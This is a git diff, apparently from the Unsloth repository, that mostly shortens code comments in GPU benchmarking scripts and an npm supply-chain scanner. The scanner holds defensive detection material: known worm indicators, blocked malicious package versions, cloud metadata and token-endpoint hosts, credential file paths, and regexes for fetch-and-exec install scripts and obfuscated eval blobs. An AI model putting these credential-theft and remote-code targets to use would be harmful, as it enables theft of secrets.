img, dt = _gen(pipe, steps, seed, res)
diff --git a/scripts/nvfp4_t211_probe.py b/scripts/nvfp4_t211_probe.py
index f6f2df8c96b..77437c179dd 100644
--- a/scripts/nvfp4_t211_probe.py
+++ b/scripts/nvfp4_t211_probe.py
@@ -80,7 +80,7 @@ def _bench_linear(K, N, M, cfg, iters, compile_):
fn = torch.compile(m, fullgraph = True, dynamic = False) if compile_ else m
x = torch.randn(M, K, device = "cuda", dtype = torch.bfloat16)
with torch.no_grad():
- for _ in range(3): # warmup / compile
+ for _ in range(3):
fn(x)
torch.cuda.synchronize()
dts = []
@@ -213,7 +213,7 @@ def e2e(steps, res, seed, iters, mf):
print(
f" [{tag}] compile failed: {type(exc).__name__}: {str(exc)[:90]}", flush = True
)
- _gen(pipe, steps, seed, res) # warmup / compile
+ _gen(pipe, steps, seed, res)
dts, img = [], None
for _ in range(iters):
img, dt = _gen(pipe, steps, seed, res)
diff --git a/scripts/online_tokenization_ab.py b/scripts/online_tokenization_ab.py
index e92b9d61701..260009ef4fe 100644
--- a/scripts/online_tokenization_ab.py
+++ b/scripts/online_tokenization_ab.py
@@ -25,7 +25,6 @@ import time
from pathlib import Path
REPO = Path(__file__).resolve().parents[1]
-# Scratch root for the per-arm `datasets` cache; no machine-specific layout.
WORKSPACE = Path(os.environ.get("UNSLOTH_WORKSPACE") or tempfile.gettempdir())
os.environ.setdefault("CUDA_VISIBLE_DEVICES", "0")
@@ -38,7 +37,6 @@ sys.path.insert(0, str(REPO))
def main() -> int:
parser = argparse.ArgumentParser()
parser.add_argument("--arm", choices = ("eager", "online"), required = True)
- # No default path: it would only exist on one machine.
parser.add_argument(
"--dataset",
required = True,
@@ -54,8 +52,7 @@ def main() -> int:
parser.add_argument("--no-fresh-cache", dest = "fresh_cache", action = "store_false")
args = parser.parse_args()
- # Fresh cache per run, else the eager arm just reads the other arm's
- # tokenize map out of Arrow and measures a cache hit real users never get.
+ # Fresh cache per run, else the eager arm measures a cache hit real users never get.
if args.fresh_cache:
cache = WORKSPACE / "unsloth_ab_cache" / f"{args.arm}_{int(time.time())}"
cache.mkdir(parents = True, exist_ok = True)
@@ -107,8 +104,7 @@ def main() -> int:
return 1
mark("model_ready")
- # `local_datasets` resolves its entries to files and rejects anything without a supported extension, so a Hub id has
- # to go through `dataset_source` instead.
+ # local_datasets rejects paths without a supported extension, so Hub ids use dataset_source.
local_split = os.path.exists(args.dataset) or Path(args.dataset).suffix.lower() in (
".json",
".jsonl",
@@ -169,7 +165,7 @@ def main() -> int:
started = trainer.start_training(
dataset = dataset,
eval_dataset = eval_dataset,
- output_dir = f"ab_{args.arm}", # resolved under Unsloth's outputs root
+ output_dir = f"ab_{args.arm}",
num_epochs = 1,
max_steps = args.max_steps,
batch_size = args.batch_size,
@@ -194,7 +190,6 @@ def main() -> int:
error = getattr(progress, "error", None)
decision = getattr(trainer, "_online_prewarm_batches", 0)
- # What the trainer actually got configured with, read off the object.
observed = {}
sft = getattr(trainer, "trainer", None)
if sft is not None:
@@ -222,11 +217,9 @@ def main() -> int:
"step_times": probe.step_times,
"prewarm_batches": decision,
"observed": observed,
- # Unsloth's chat-template render, which BOTH arms do eagerly.
"format_seconds": round(
marks.get("dataset_formatted", 0.0) - marks.get("model_ready", 0.0), 4
),
- # Trainer construction: TRL's tokenizing map on the eager arm, nothing online.
"prep_seconds": round(
marks.get("trainer_built", 0.0) - marks.get("dataset_formatted", 0.0), 4
),
diff --git a/scripts/p2p_integrity_probe.py b/scripts/p2p_integrity_probe.py
index a8ffc943058..5ac826a102c 100644
--- a/scripts/p2p_integrity_probe.py
+++ b/scripts/p2p_integrity_probe.py
@@ -58,7 +58,6 @@ def _print_topology() -> None:
print("topology read returned non-zero; skipping.\n")
return
print("=== nvidia-smi topo -m ===")
- # The legend after the matrix is not what the reader needs.
for line in out.stdout.splitlines():
if line.strip().startswith("Legend"):
break
@@ -133,8 +132,7 @@ def main() -> int:
)
args = parser.parse_args()
- # A probe that tests nothing must not print PASS: its whole job is to license
- # setting GGML_CUDA_P2P, so an empty run is the worst answer it could give.
+ # An empty run must not print PASS: the probe licenses setting GGML_CUDA_P2P.
if args.repeats <= 0:
parser.error("--repeats must be positive")
if any(size <= 0 for size in args.sizes_mib):
@@ -149,15 +147,12 @@ def main() -> int:
print("torch is not installed; cannot probe peer copies.")
return 2
- # AMD SDK wheels leave version.hip unset and only encode "rocm" in
- # __version__, which is why the backend's _torch_is_rocm checks both.
+ # AMD SDK wheels leave version.hip unset and only encode rocm in __version__.
if (
getattr(torch.version, "hip", None) is not None
or "rocm" in getattr(torch, "__version__", "").lower()
):
- # ROCm reuses the torch.cuda namespace, so every test below would run and
- # PASS on AMD, then recommend GGML_CUDA_P2P, which only the CUDA backend
- # reads. A pass ending in a no-op instruction is worse than no answer.
+ # ROCm reuses torch.cuda, but GGML_CUDA_P2P is read only by the CUDA backend.
print(
"This is a ROCm/HIP build of torch. GGML_CUDA_P2P is read only by\n"
"llama.cpp's CUDA backend, so this probe has no advice to give for AMD\n"
@@ -206,18 +201,13 @@ def main() -> int:
device = f"cuda:{dst}",
)
except Exception as alloc_exc: # noqa: BLE001
- # No transfer was attempted (usually a resident model
- # holds the memory), so this is inconclusive, NOT
- # evidence that peer copies drop data.
+ # No transfer was attempted, so this is inconclusive, not evidence of dropped data.
setup_error = alloc_exc
break
d.copy_(s)
torch.cuda.synchronize(src)
torch.cuda.synchronize(dst)
- # Compare against the source, not just the sentinel: a
- # scrambled transfer overwrites it and would score as a
- # pass. The sentinel count stays because "never written"
- # is a different diagnosis, a dropped DMA.
+ # Compare against the source too: a scrambled transfer overwrites the sentinel.
host_dst = d.cpu()
wrong = int((host_dst != s.cpu()).sum())
dropped = int((host_dst == SENTINEL).sum())
@@ -233,9 +223,7 @@ def main() -> int:
checked += 1
pair = f"{src}->{dst}"
access = "yes" if can else "no"
- # Corruption seen on an earlier repeat outranks a later allocation
- # failure: repeats exist to catch INTERMITTENT drops, so downgrading
- # a real mismatch to SKIPPED would hide what they are for.
+ # Earlier corruption outranks a later allocation failure.
if setup_error is not None and not worst_wrong:
inconclusive += 1
print(
@@ -279,8 +267,7 @@ def main() -> int:
return 1
if inconclusive:
- # Exit 1 is for copies that were tested and lost data. Nothing was tested
- # here, so "unsafe" would push someone off a working optimisation.
+ # Exit 1 only when tested copies lost data; nothing was tested here.
print(
f"INCONCLUSIVE: {inconclusive} of {checked} tests could not allocate "
"their buffers,\n"
diff --git a/scripts/perf_levers_probe.py b/scripts/perf_levers_probe.py
index a55bc4a9989..cdd4bef6b7e 100644
--- a/scripts/perf_levers_probe.py
+++ b/scripts/perf_levers_probe.py
@@ -167,7 +167,7 @@ def run(
except Exception as exc: # noqa: BLE001
print(f" [{tag}] compile={type(exc).__name__}:{str(exc)[:60]}", flush = True)
try:
- _gen(pipe, steps, seed, res) # warmup / compile
+ _gen(pipe, steps, seed, res)
except Exception as exc: # noqa: BLE001
import traceback
diff --git a/scripts/perf_verify.py b/scripts/perf_verify.py
index d3c8330239a..f45e93af39a 100644
--- a/scripts/perf_verify.py
+++ b/scripts/perf_verify.py
@@ -133,7 +133,7 @@ def main(argv = None) -> int:
)
print("== 2. TF32-leak fix: max then off must be byte-identical ==", flush = True)
- timed("max", warmup = 0, iters = 1, tag = "max") # flips + should restore globals
+ timed("max", warmup = 0, iters = 1, tag = "max")
off2_img, _ = timed("off", warmup = 0, iters = 1, tag = "off2")
leak_psnr = _psnr(off_img, off2_img)
print(
@@ -153,7 +153,7 @@ def main(argv = None) -> int:
ok = (
(leak_psnr == float("inf"))
- and (bal_psnr == float("inf")) # check 3: balanced must be bit-identical to off
+ and (bal_psnr == float("inf"))
and (def_t < off_t)
and (_psnr(off_img, def_img) >= 30)
)
diff --git a/scripts/prequant_probe.py b/scripts/prequant_probe.py
index 7aed40a5647..ffad88b917a 100644
--- a/scripts/prequant_probe.py
+++ b/scripts/prequant_probe.py
@@ -127,7 +127,6 @@ def _prequant(steps, seed, res):
t = diffusers.ZImageTransformer2DModel.from_config(cfg)
sd = torch.load(CKPT, weights_only = False, map_location = "cpu")
missing, unexpected = t.load_state_dict(sd, strict = False, assign = True)
- # any param/buffer still on meta (e.g. non-persistent buffers) -> materialise on cuda
leftover = [n for n, p in t.named_parameters() if p.is_meta] + [
n for n, b in t.named_buffers() if b.is_meta
]
@@ -136,7 +135,7 @@ def _prequant(steps, seed, res):
f"[prequant] {len(leftover)} meta leftovers (non-persistent buffers): {leftover[:4]}",
flush = True,
)
- t = t.to_empty(device = "cuda") # fallback path; re-loads sd below
+ t = t.to_empty(device = "cuda")
t.load_state_dict(sd, strict = False, assign = True)
t = t.to(torch.bfloat16).to("cuda")
load_peak = torch.cuda.max_memory_allocated() / 1e9
diff --git a/scripts/profile_startup.py b/scripts/profile_startup.py
index fe35c8ad713..af9f1c53066 100644
--- a/scripts/profile_startup.py
+++ b/scripts/profile_startup.py
@@ -76,7 +76,6 @@ def profile_imports(python: str, top: int = 15) -> dict:
if not rows:
return {"ok": False, "error": (proc.stderr or proc.stdout)[-2000:]}
if proc.returncode != 0:
- # Rows survive up to the failure, so any total from a partial graph is wrong.
return {
"ok": False,
"error": (proc.stderr or proc.stdout)[-2000:],
@@ -84,7 +83,7 @@ def profile_imports(python: str, top: int = 15) -> dict:
}
by_cum = sorted(rows, key = lambda r: -r[1])
- # Total comes from the `main` row, not by_cum[0]: -X importtime also prints the interpreter's own startup graph (`site`), which can outrank a trivial main.
+ # Total from the `main` row: -X importtime also prints the interpreter's own `site` graph.
main_row = next((r for r in reversed(rows) if r[2] == "main"), None)
if main_row is None:
return {
@@ -124,9 +123,7 @@ def _terminate_tree(proc: subprocess.Popen) -> None:
if killed.returncode == 0:
return
except Exception:
- # taskkill missing or timed out; fall through so the stub still dies.
pass
- # check=False: a nonzero taskkill does not raise, so fall through as well.
proc.terminate()
@@ -149,7 +146,7 @@ def profile_launch(
)
def _drain() -> None:
- # Runs alongside the health polling: the first read timestamps the spawn phase, and an undrained pipe blocks the backend before it binds.
+ # Drain concurrently: an undrained pipe blocks the backend before it binds.
for line in proc.stdout:
if not first_byte:
first_byte.append(time.perf_counter() - t0)
@@ -182,7 +179,6 @@ def profile_launch(
finally:
_terminate_tree(proc)
try:
- # Safe: the reader drains the pipe, so the child cannot block on write().
proc.wait(timeout = 30)
except subprocess.TimeoutExpired:
proc.kill()
@@ -262,13 +258,11 @@ def main(argv: list[str]) -> int:
)
ap.add_argument("--json", help = "write the full report here")
a = ap.parse_args(argv)
- # range(0) launches nothing, leaving the budget check with nothing to fail on.
if a.repeats < 1:
ap.error("--repeats must be at least 1")
- # Same reason: --import-only never launches anything.
if a.import_only and a.max_healthz_seconds is not None:
ap.error("--max-healthz-seconds cannot be combined with --import-only")
- # nan and inf parse fine as floats but `med > budget` is then always False, so the gate would report success without ever bounding anything.
+ # nan/inf parse as floats but make `med > budget` always False.
if a.max_healthz_seconds is not None and not math.isfinite(a.max_healthz_seconds):
ap.error("--max-healthz-seconds must be a finite number")
@@ -331,14 +325,12 @@ def main(argv: list[str]) -> int:
med = launch.get("healthz_median_seconds")
failed = launch.get("failed_runs") or 0
if failed:
- # Failed launches fail the budget; dropping them would keep only the fast ones.
print(
f"::error::startup regression: {failed} of {len(launch.get('runs') or [])} "
f"launches never became healthy within the timeout"
)
return 1
if med is None:
- # Nothing measured: exiting 0 would pass a requested budget without a single health request, so fail closed.
print(
"::error::startup regression: no healthz measurement, so the "
f"{a.max_healthz_seconds}s budget was never checked "
diff --git a/scripts/quant_probe.py b/scripts/quant_probe.py
index 8675fb75bfc..bf50fe776ef 100644
--- a/scripts/quant_probe.py
+++ b/scripts/quant_probe.py
@@ -222,9 +222,9 @@ def main(argv = None) -> int:
_apply_quant(pipe, quant, print_, args.min_feat)
if compile:
_compile(pipe, print_)
- _gen(pipe, steps, seed, res) # warmup / compilation
+ _gen(pipe, steps, seed, res)
else:
- _gen(pipe, steps, seed, res) # allocator warmup
+ _gen(pipe, steps, seed, res)
torch.cuda.reset_peak_memory_stats()
dts, img = [], None
for _ in range(iters):
@@ -239,7 +239,6 @@ def main(argv = None) -> int:
print_ = lambda s: print(s, flush = True) # noqa: E731
- # config table: tag -> (source, quant, compile)
table = {
"bf16": ("dense", None, False),
"bf16_c": ("dense", None, True),
diff --git a/scripts/run_ruff_format.py b/scripts/run_ruff_format.py
index 43115d3464c..e2cebd02803 100755
--- a/scripts/run_ruff_format.py
+++ b/scripts/run_ruff_format.py
@@ -18,8 +18,7 @@ from pathlib import Path
HERE = Path(__file__).resolve().parent
CONFIG = HERE.parent / ".pre-commit-config.yaml"
-# Set to run against whatever ruff is installed. For a one-off experiment; a commit
-# made under it will be reformatted by the hook and fail pre-commit.
+# One-off experiments only: commits made under it get reformatted by the hook.
ANY_VERSION_ENV = "UNSLOTH_RUFF_FORMAT_ANY_VERSION"
USAGE = "usage: run_ruff_format.py FILE [FILE ...] (formats in place; no options)"
# Worker count for the Python pass after ruff. The hook is require_serial (#14174), so
diff --git a/scripts/scan_npm_packages.py b/scripts/scan_npm_packages.py
index ae307376611..256246e2751 100644
--- a/scripts/scan_npm_packages.py
+++ b/scripts/scan_npm_packages.py
@@ -1,8 +1,7 @@
#!/usr/bin/env python3
# SPDX-License-Identifier: AGPL-3.0-only
# Copyright 2026-present the Unsloth AI Inc. team. All rights reserved.
-# .github/workflows/security-audit.yml's npm-scan-packages job depends
-# on this file existing at scripts/scan_npm_packages.py.
+# security-audit.yml's npm-scan-packages job depends on this path.
"""scan_npm_packages.py -- npm-side content scanner.
@@ -58,9 +57,9 @@ from pathlib import Path
REPO_ROOT = Path(__file__).resolve().parents[1]
# ─────────────────────────────────────────────────────────────────────
-# Hard caps, deliberately conservative: npm tarballs in this repo are all well under these limits, so a packaging spike is noticeable.
+# Calibrated against the real frontend closure. Native binaries get a larger cap and skip
+# pattern scanning; text keeps a tight cap (typescript.js at 9.1 MB is the ceiling).
# ─────────────────────────────────────────────────────────────────────
-# Calibrated against the real Unsloth frontend transitive closure, where typescript.js is 9.1 MB, mermaid's sourcemap ~12 MB, rolldown bindings 18-26 MB per platform, @next/swc-*.node ~137 MB and the next.js cumulative bundle ~134 MB. Native binaries (.node, .wasm, .so, .dll, .dylib) are genuinely huge and not amenable to text pattern scanning, so they are extracted only to verify tarball integrity over the full archive, then skipped in scan_extracted_tree, and get a much higher per-file cap; text files keep the tight cap because the pattern scanner runs over them and a 9.1 MB typescript.js is the legitimate ceiling.
HARD_MAX_TARBALL_BYTES = 256 * 1024 * 1024 # 256 MiB compressed
HARD_MAX_TEXT_FILE_BYTES = 16 * 1024 * 1024 # 16 MiB per text file
HARD_MAX_BINARY_FILE_BYTES = 256 * 1024 * 1024 # 256 MiB per .node etc
@@ -68,7 +67,7 @@ HARD_MAX_TOTAL_BYTES = 512 * 1024 * 1024 # 512 MiB cumulative
HARD_MAX_MEMBERS = 50_000 # entries per tarball
HARD_HTTP_TIMEOUT_S = 60 # per request
-# Native-binary / compiled-asset SUFFIX shortlist that bypasses the text cap; the content-magic check below covers extensionless executables (biome) and versioned shared libraries (libvips-cpp.so.8.17.3) this list misses.
+# Suffix shortlist; the content-magic check covers extensionless and versioned binaries.
_BINARY_SUFFIXES = (
".node",
".wasm",
@@ -104,13 +103,12 @@ _BINARY_SUFFIXES = (
".bz2",
)
-# Versioned shared libraries: libfoo.so.1.2.3 / libfoo.dylib.1.2.
_VERSIONED_LIB = re.compile(
r"\.(?:so|dylib)(?:\.\d+)+$",
re.IGNORECASE,
)
-# Magic numbers at offset 0 identifying common executable formats. We sniff the first ~16 bytes of every member to catch extensionless binaries (eg `package/biome`).
+# Sniffed from the first bytes to catch extensionless binaries.
_BINARY_MAGICS = (
b"\x7fELF", # ELF (Linux executable / .so)
b"MZ", # PE / .exe / .dll (DOS header prefix)
@@ -146,7 +144,6 @@ def _looks_binary(name: str, header: bytes) -> bool:
for magic in _BINARY_MAGICS:
if header.startswith(magic):
return True
- # Null-byte density: real text files almost never carry NULs.
if header and (header.count(b"\x00") / len(header)) > 0.02:
return True
return False
@@ -155,7 +152,7 @@ def _looks_binary(name: str, header: bytes) -> bool:
ALLOWED_DOWNLOAD_HOST = "registry.npmjs.org"
# ─────────────────────────────────────────────────────────────────────
-# Severities + finding shape (mirrors scripts/scan_packages.py).
+# Severities and Finding shape mirror scripts/scan_packages.py.
# ─────────────────────────────────────────────────────────────────────
CRITICAL = "CRITICAL"
@@ -201,10 +198,8 @@ class PackageEntry:
# ─────────────────────────────────────────────────────────────────────
-# IOC patterns, two flavours: substring tables (KNOWN_IOC_STRINGS, CRED_HOST_*, CRED_PATH_SUBSTRINGS), high-confidence with a near-zero FP rate, and regexes (_JS_FETCH_EVAL, _JS_ENV_TOKEN, _LIFECYCLE_FETCH_EXEC, _OBFUSC_BLOB) tuned to recent campaigns. Keep this list short and factual: speculative patterns spam the false-positive ledger and dull the signal.
# ─────────────────────────────────────────────────────────────────────
-
-# Substring (case-sensitive) -> (severity, detail).
+# Keep IOC patterns short and factual: speculative patterns dull the signal.
KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {
# Shai-Hulud TanStack wave (2026-05-11, GHSA-g7cv-rxg3-hmpx).
"router_init.js": (HIGH, "filename associated with TanStack worm"),
@@ -246,7 +241,8 @@ KNOWN_IOC_STRINGS: dict[str, tuple[str, str]] = {
),
}
-# Hard pin-blocks for publicly confirmed malicious versions, name -> {malicious_versions}. A match short-circuits the scan at the lockfile-walk stage, so no tarball is fetched. Keep in sync with scripts/lockfile_supply_chain_audit.py.
+# Confirmed malicious versions; matched at the lockfile walk, so no tarball is fetched.
+# Keep in sync with scripts/lockfile_supply_chain_audit.py.
BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
# GHSA-g7cv-rxg3-hmpx -- TanStack May-11 2026 (84 versions).
"@tanstack/arktype-adapter": {"1.166.12", "1.166.15"},
@@ -383,11 +379,11 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@uipath/functions-tool": {"1.0.1"},
"@uipath/access-policy-sdk": {"0.3.1"},
"@uipath/platform-tool": {"1.0.1"},
- # Mini Shai-Hulud May-12 wave: @mistralai/* (npm), separate from PyPI mistralai (https://www.aikido.dev/blog/mini-shai-hulud-is-back-tanstack-compromised).
+ # Mini Shai-Hulud May-12 wave: @mistralai/* (npm, not PyPI mistralai).
"@mistralai/mistralai": {"2.2.2", "2.2.3", "2.2.4"},
"@mistralai/mistralai-gcp": {"1.7.1", "1.7.2", "1.7.3"},
"@mistralai/mistralai-azure": {"1.7.1", "1.7.2", "1.7.3"},
- # Mini Shai-Hulud May-12 wave: @tallyui/* (30 entries, 10 packages).
+ # Mini Shai-Hulud May-12 wave: @tallyui/*.
"@tallyui/components": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-medusa": {"1.0.1", "1.0.2", "1.0.3"},
"@tallyui/connector-shopify": {"1.0.1", "1.0.2", "1.0.3"},
@@ -398,7 +394,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@tallyui/pos": {"0.1.1", "0.1.2", "0.1.3"},
"@tallyui/storage-sqlite": {"0.2.1", "0.2.2", "0.2.3"},
"@tallyui/theme": {"0.2.1", "0.2.2", "0.2.3"},
- # Mini Shai-Hulud May-12 wave: @beproduct/nestjs-auth (18 versions).
+ # Mini Shai-Hulud May-12 wave.
"@beproduct/nestjs-auth": {
"0.1.2",
"0.1.3",
@@ -419,13 +415,13 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"0.1.18",
"0.1.19",
},
- # Mini Shai-Hulud May-12 wave: @draftlab/* + @draftauth/*.
+ # Mini Shai-Hulud May-12 wave: @draftlab/*, @draftauth/*.
"@draftauth/client": {"0.2.1", "0.2.2"},
"@draftauth/core": {"0.13.1", "0.13.2"},
"@draftlab/auth": {"0.24.1", "0.24.2"},
"@draftlab/auth-router": {"0.5.1", "0.5.2"},
"@draftlab/db": {"0.16.1"},
- # Mini Shai-Hulud May-12 wave: @taskflow-corp/cli + @tolka/cli.
+ # Mini Shai-Hulud May-12 wave.
"@taskflow-corp/cli": {"0.1.24", "0.1.25", "0.1.26", "0.1.27", "0.1.28", "0.1.29"},
"@tolka/cli": {"1.0.2", "1.0.3", "1.0.4", "1.0.5", "1.0.6"},
# Mini Shai-Hulud May-12 wave: @ml-toolkit-ts/* + @mesadev/* + @dirigible-ai/sdk + @supersurkhet/*.
@@ -437,7 +433,7 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"@ml-toolkit-ts/xgboost": {"1.0.3", "1.0.4"},
"@supersurkhet/cli": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
"@supersurkhet/sdk": {"0.0.2", "0.0.3", "0.0.4", "0.0.5", "0.0.6", "0.0.7"},
- # Mini Shai-Hulud May-12 wave: unscoped packages (10 entries).
+ # Mini Shai-Hulud May-12 wave: unscoped packages.
"safe-action": {"0.8.3", "0.8.4"},
"ts-dna": {"3.0.1", "3.0.2", "3.0.3", "3.0.4"},
"cross-stitch": {"1.1.3", "1.1.4", "1.1.5", "1.1.6"},
@@ -448,18 +444,18 @@ BLOCKED_NPM_VERSIONS: dict[str, set[str]] = {
"git-git-git": {"1.0.8", "1.0.9", "1.0.10", "1.0.11", "1.0.12"},
"nextmove-mcp": {"0.1.3", "0.1.4", "0.1.5", "0.1.6", "0.1.7"},
"ml-toolkit-ts": {"1.0.4", "1.0.5"},
- # Cross-ecosystem Mini Shai-Hulud (Apr-30 wave): npm counterpart of PyPI lightning 2.6.2/2.6.3. Safe version: 7.0.3 and earlier.
+ # Mini Shai-Hulud Apr-30 wave (npm side of PyPI lightning 2.6.2/2.6.3); 7.0.3 is safe.
"intercom-client": {"7.0.4"},
}
-# Cloud / k8s / CI credential surfaces, in two tiers because a bare substring match false-positives on DEFENSIVE code (langchain ships an SSRF module with a literal blocklist of IMDS IPs). ALWAYS_BAD substrings have no legitimate use anywhere in a dependency, so a bare match is enough; NEEDS_CONTEXT hosts and paths do appear in defensive code, so they fire only when they co-occur with a fetch verb or sit inside an http URL, which is the structural difference between a blocked address constant and an exfil target. The dispatch lives in `scan_text_blob`.
+# Two tiers: ALWAYS_BAD has no legitimate use; NEEDS_CONTEXT also appears in defensive code
+# (SSRF blocklists), so it fires only with a fetch verb or inside a URL.
CRED_HOST_ALWAYS_BAD: tuple[tuple[str, str], ...] = (
("registry.npmjs.org/-/npm/v1/tokens", "npm publish-token enumeration endpoint"),
("ACTIONS_ID_TOKEN_REQUEST_URL", "GitHub Actions OIDC token-exchange endpoint env"),
("ACTIONS_ID_TOKEN_REQUEST_TOKEN", "GitHub Actions OIDC token-exchange token env"),
)
-# Hosts that need fetch-verb or URL-scheme context to be malicious.
CRED_HOST_NEEDS_CONTEXT: tuple[tuple[str, str], ...] = (
("169.254.169.254", "AWS / GCP / Azure instance metadata service (IMDS)"),
("169.254.170.2", "ECS task metadata service"),
@@ -471,9 +467,8 @@ CRED_HOST_NEEDS_CONTEXT: tuple[tuple[str, str], ...] = (
),
)
-# Credentials a frontend package should never read. A bare substring match is too noisy (legit dev tooling mounts ~/.npmrc), so these are flagged only inside lifecycle scripts, the only auto-run path on `npm ci`. See `scan_package_json`.
-# The paths are joined from pieces at import, as in scripts/scan_packages.py: written whole beside this file's network
-# code they form the shape heuristic scanners quarantine as a credential stealer.
+# Flagged only inside lifecycle scripts (auto-run on npm ci). Joined from pieces at import, as
+# in scan_packages.py, so the file does not look like a credential stealer.
CRED_PATH_SUBSTRINGS: tuple[tuple[str, str], ...] = (
("".join(("/.n", "pmrc")), "npm credentials file"),
("".join(("/.a", "ws/cred", "entials")), "AWS shared credentials file"),
@@ -483,7 +478,6 @@ CRED_PATH_SUBSTRINGS: tuple[tuple[str, str], ...] = (
("".join(("/.k", "ube/con", "fig")), "Kubernetes kubeconfig"),
)
-# Fetch verbs whose presence near a metadata host upgrades a bare substring hit into an actionable finding.
_FETCH_VERBS_PAT = (
r"(?:fetch|axios|XMLHttpRequest|got\b|undici|"
r"http\.get|https\.get|http\.request|https\.request|"
@@ -503,7 +497,6 @@ _JS_FETCH_EVAL = re.compile(
""",
)
-# Token env access in install-time code; also catches os.environ[...] for the rare Python-in-npm postinstall.
_JS_ENV_TOKEN = re.compile(
r"""(process\.env\.|os\.environ\[?['"])(?:
GITHUB_TOKEN | GH_TOKEN | NPM_TOKEN | NODE_AUTH_TOKEN
@@ -514,7 +507,7 @@ _JS_ENV_TOKEN = re.compile(
re.VERBOSE,
)
-# Lifecycle-script fetch+exec chain: curl/wget an external resource and run it. Bare curl/wget is allowed (legit fixture fetches); only the chain is blocked.
+# Only the fetch+exec chain is blocked; bare curl/wget is legit.
_LIFECYCLE_FETCH_EXEC = re.compile(
r"""(?xs)
(?:curl|wget|fetch|http\.get|axios\.get)\s+ # fetch verb
@@ -528,15 +521,13 @@ _LIFECYCLE_FETCH_EXEC = re.compile(
""",
)
-# Obfuscation: large single-line base64-ish blob behind Function()/eval(). Tuned against the router_init.js shape (2.3 MB blob).
+# Large base64-ish blob passed to Function() or eval(); tuned on the router_init.js shape.
_OBFUSC_BLOB = re.compile(
r"""(?xs)
(?:Function|eval)\s*\(\s*['"`]?
[A-Za-z0-9+/=_-]{2048,} # >=2 KiB of b64-ish
""",
)
-
-
# ─────────────────────────────────────────────────────────────────────
@@ -577,13 +568,13 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:
for key, entry in (lock.get("packages") or {}).items():
if key == "" or entry.get("link"):
continue
- # Nested fold-ins (deps inside another package's node_modules/) are covered by the parent tarball's integrity.
+ # Nested fold-ins are covered by the parent tarball's integrity.
if key.count("/node_modules/") >= 1:
continue
resolved = entry.get("resolved")
if not resolved:
continue
- # Strict registry origin check so this scanner cannot be tricked into fetching from an attacker-chosen URL.
+ # Strict registry origin check, so the lockfile cannot pick the fetch URL.
parsed = urllib.parse.urlparse(resolved)
if parsed.scheme != "https" or parsed.hostname != ALLOWED_DOWNLOAD_HOST:
findings.append(
@@ -628,10 +619,7 @@ def parse_lockfile(path: Path) -> tuple[list[PackageEntry], list[Finding]]:
# ─────────────────────────────────────────────────────────────────────
-# Tarball download: registry-only, size-capped, integrity-verified.
# ─────────────────────────────────────────────────────────────────────
-
-
def _decode_integrity(integrity: str) -> tuple[str, bytes] | None:
"""Parse SRI integrity 'sha512-<base64>' -> (algo, digest_bytes)."""
if "-" not in integrity:
@@ -655,7 +643,7 @@ def download_tarball(
max_bytes: int = HARD_MAX_TARBALL_BYTES,
) -> tuple[Path, str | None]:
"""Stream-download entry.resolved to dest and verify SRI integrity. Returns (downloaded_path, error_or_none); on error the path may not exist. Network access is restricted to ALLOWED_DOWNLOAD_HOST."""
- # Re-assert hostname (defence-in-depth against a future refactor).
+ # Re-assert the hostname as defence in depth against a future refactor.
parsed = urllib.parse.urlparse(entry.resolved)
if parsed.scheme != "https" or parsed.hostname != ALLOWED_DOWNLOAD_HOST:
return dest, (f"refused download from non-allowlisted URL {entry.resolved!r}")
@@ -710,10 +698,7 @@ def download_tarball(
# ─────────────────────────────────────────────────────────────────────
-# Safe tar extraction. Every Tarfile member is policed before write.
# ─────────────────────────────────────────────────────────────────────
-
-
def _is_within(root: Path, candidate: Path) -> bool:
try:
return candidate.resolve().is_relative_to(root.resolve())
@@ -737,7 +722,6 @@ def safe_extract(
total = 0
count = 0
try:
- # Streaming mode (no backward seeks); `r|gz` rejects bad gzip.
with tarfile.open(tarball_path, mode = "r|gz") as tf:
for member in tf:
count += 1
@@ -746,12 +730,10 @@ def safe_extract(
name = member.name
if name.startswith("/") or ".." in Path(name).parts:
return f"refused unsafe member name {name!r}"
- # Reject device files, FIFOs, sockets, symlinks, hardlinks.
if member.issym() or member.islnk():
return f"refused link member {name!r} (sym/lnk)"
if member.isdev() or member.isfifo():
return f"refused special member {name!r}"
- # Check declared size up front to short-circuit bombs without reading the body.
declared = max(member.size, 0)
if declared > HARD_MAX_BINARY_FILE_BYTES:
return (
@@ -763,7 +745,7 @@ def safe_extract(
f"cumulative bytes {total + declared} > cap "
f"{max_total_bytes} at {name!r}"
)
- # Resolve destination and refuse anything escaping root (do not trust the npm "package/" convention).
+ # Refuse anything escaping root; do not trust the npm package/ convention.
dest = extract_root / name
if not _is_within(extract_root, dest):
return f"refused escape: {name!r} resolved outside root"
@@ -776,7 +758,6 @@ def safe_extract(
src = tf.extractfile(member)
if src is None:
continue
- # Sniff first 16 bytes to classify text vs binary; each gets its own cap.
header = src.read(16)
is_binary = _looks_binary(name, header)
file_cap = HARD_MAX_BINARY_FILE_BYTES if is_binary else HARD_MAX_TEXT_FILE_BYTES
@@ -794,7 +775,6 @@ def safe_extract(
f"({'binary' if is_binary else 'text'})"
)
total += len(data)
- # Restrictive mode (rw-r--r--): nothing executable.
with open(dest, "wb") as out:
out.write(data)
os.chmod(dest, 0o644)
@@ -805,12 +785,12 @@ def safe_extract(
return None
-# How far back to look for an enclosing bracket opener. Symmetric with the forward cap so a host deep inside a large options object still binds the whole object; a too-far start only over-binds (more context, still fail-closed), never less.
+# Backward window for an enclosing opener; over-binding only adds context.
_MAX_CONT_LINES = 200
-# Hard cap on how far forward a bracket group is followed to its close, measured from the matched line so the tail after the match is always reachable even when the opener was found near the backward limit (digest input only, never displayed).
+# Forward cap measured from the match, so the tail is always reachable.
_MAX_GROUP_LINES = 200
-# JS string literal (single / double / template), blanked before counting brackets so a bracket inside a string is not mistaken for code.
+# Blank strings before counting brackets.
_RE_JS_STR = re.compile(r"'(?:[^'\\]|\\.)*'|\"(?:[^\"\\]|\\.)*\"|`(?:[^`\\]|\\.)*`")
